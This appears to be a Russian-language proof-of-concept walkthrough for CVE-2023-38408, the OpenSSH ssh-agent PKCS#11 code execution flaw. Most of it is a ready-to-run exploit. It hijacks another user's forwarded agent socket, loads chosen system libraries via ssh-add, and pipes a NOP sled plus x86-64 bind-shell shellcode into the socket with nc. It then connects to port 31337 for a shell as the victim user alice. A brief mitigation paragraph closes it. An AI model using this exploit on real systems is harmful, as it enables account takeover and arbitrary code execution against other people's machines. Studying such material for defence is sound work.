
Захват учётной записи OpenSSH
В OpenSSH (до версии 9.3p2) была обнаружена уязвимость. Функция PKCS#11 в ssh-agent в OpenSSH имеет недостаточно надёжный путь поиска, что приводит к удалённому выполнению кода, если агент пересылается на контролируемую атакующим систему (код в /usr/lib не обязательно безопасен для загрузки в ssh-agent). Этот недостаток позволяет атакующему, контролирующему пересланный agent-socket на сервере и имеющему возможность записи в файловую систему хост-клиента, выполнять произвольный код с привилегиями пользователя, запустившего ssh-agent.
В приведённом ниже примере мы кратко рассмотрим шаги от исследования до компрометации пользователя alice.
Как упоминалось ранее, в этом POC мы будем использовать 2 пользователей, подключённых к серверу через SSH. Чтобы выполнить следующие шаги, мы предполагаем, что оба пользователя уже имеют доступ к серверу (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Наконец, нажмите Ctrl-C, чтобы остановить передачу netcat после того, как шеллкод будет успешно размещён в памяти агента.
[!NOTE] Вызов SIGSEGV 💬
SIGSEGV — это сигнал, известный компьютерному процессу, который возникает при недопустимой ссылке на память (ошибке сегментации). При получении сигнала SIGSEGV ядро распознаёт, что произошёл недопустимый доступ к памяти, и вместо немедленного завершения программы вызывает пользовательский обработчик сигнала. Тем самым атакующий получает возможность управлять выполнением программы и направлять его к внедрённому вредоносному коду, находящемуся в NOP-слейде.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
Уязвимость в первую очередь затрагивает системы, где используется SSH-агент OpenSSH и включена функция проброса агента (agent forwarding). Организациям и частным лицам, полагающимся на OpenSSH, следует оперативно оценить свои конфигурации, чтобы определить потенциальную подверженность риску. Если ваша система соответствует указанным условиям, крайне важно немедленно принять меры для снижения риска, связанного с CVE-2023-38408.